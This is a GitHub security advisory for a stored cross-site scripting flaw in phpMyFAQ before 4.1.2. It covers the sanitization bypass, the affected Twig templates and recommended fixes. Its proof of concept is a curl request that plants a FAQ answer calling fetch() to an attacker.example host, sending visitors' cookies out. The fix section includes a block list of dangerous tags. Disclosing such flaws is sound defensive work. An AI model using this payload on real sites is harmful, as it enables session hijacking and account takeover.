GitHub Advisoryadvisory · Packagist

GHSA-f5p7-2c9q-8896 phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization

MEDIUM Published 2026-05-06 Modified 2026-06-09 Official page ↗
Aliases
CVE-2026-46363
Ecosystem
Packagist
Packages
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-79
Reviewed
2026-05-06

Affected packages

• Packagist phpmyfaq/phpmyfaq: < 4.1.2 → fixed in 4.1.2 • Packagist thorsten/phpmyfaq: < 4.1.2 → fixed in 4.1.2

Description

Summary The FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows ``, ``, ``, and `` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser. Details Vulnerable code path (FAQ create — `FaqController.php`): At line 120, the answer content is filtered: ```php $content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS); ``` `Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `` to `&lt;script&gt;`. The regex `/\x00|]*>?/` then finds no literal angle brackets to strip. At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization: ```php ->setAnswer(Filter::removeAttributes(html_entity_decode( (string) $content, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', ))) ``` `html_entity_decode()` converts `&lt;script&gt;` back to ``, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs no tag-level filtering. A `` tag with no attributes passes through completely unchanged. The identical pattern exists in the update endpoint at lines 389-398. Rendering sink (`faq.twig`): ```twig {{ question | raw }} {{ answer|raw }} ``` The `|raw` filter disables Twig's auto-escaping, causing the stored `` tag to execute in every visitor's browser. Additional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`. PoC Prerequisites: Authenticated session with `FAQ_ADD` permission and a valid CSRF token. Step 1: Create a malicious FAQ ```bash curl -X POST 'https://target/admin/api/faq/create' \ -H 'Cookie: PHPSESSID=' \ -H 'Content-Type: application/json' \ -d '{ "data": { "pmf-csrf-token": "", "question": "Harmless FAQ Title", "answer": "Helpful contentfetch(\"https://attacker.example/steal?c=\"+document.cookie)", "categories[]": 1, "lang": "en", "tags": "", "active": "yes", "sticky": "no", "keywords": "test", "author": "Admin", "email": "[email protected]", "comment": "n", "changed": "Initial", "notes": "", "serpTitle": "Harmless FAQ", "serpDescription": "Test", "openQuestionId": 0, "notifyEmail": "", "notifyUser": "", "recordDateHandling": "updateDate" } }' ``` Expected response: `200 OK` with the new FAQ ID. Step 2: Verify XSS execution Navigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `` tag in the answer body executes, sending the visitor's cookies to the attacker's server. Impact • Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover. • Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites. • Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack. • Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`. Recommended Fix Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component. Immediate fix — add tag-level filtering to `removeAttributes()` (`Filter.php`): ```php public static function removeAttributes(string $html = ''): string { // Strip dangerous HTML tags entirely $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta']; foreach ($dangerousTags as $tag) { $html = preg_replace('/]*>.*?/is', '', $html); $html = preg_replace('/]*\/?>/is', '', $html); } // Also sanitize javascript: URIs in href/src attributes $html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html); $keep = [ 'href', 'src', 'title', 'alt', 'class', 'style', 'id', 'name', 'size', 'dir', 'rel', 'rev', 'target', 'width', 'height', 'controls', ]; // ... rest of existing attribute removal logic ``` Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem: ```php use Symfony\Component\HtmlSanitizer\HtmlSanitizer; use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; $config = (new HtmlSanitizerConfig()) ->allowSafeElements() ->blockElement('script') ->blockElement('iframe') ->blockElement('object') ->blockElement('embed'); $sanitizer = new HtmlSanitizer($config); $cleanAnswer = $sanitizer->sanitize($rawAnswer); ```

Related

Alias · CVE (1)

  • CVE-2026-46363 phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in FAQ creation and update endpoints that bypass sanitization… vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References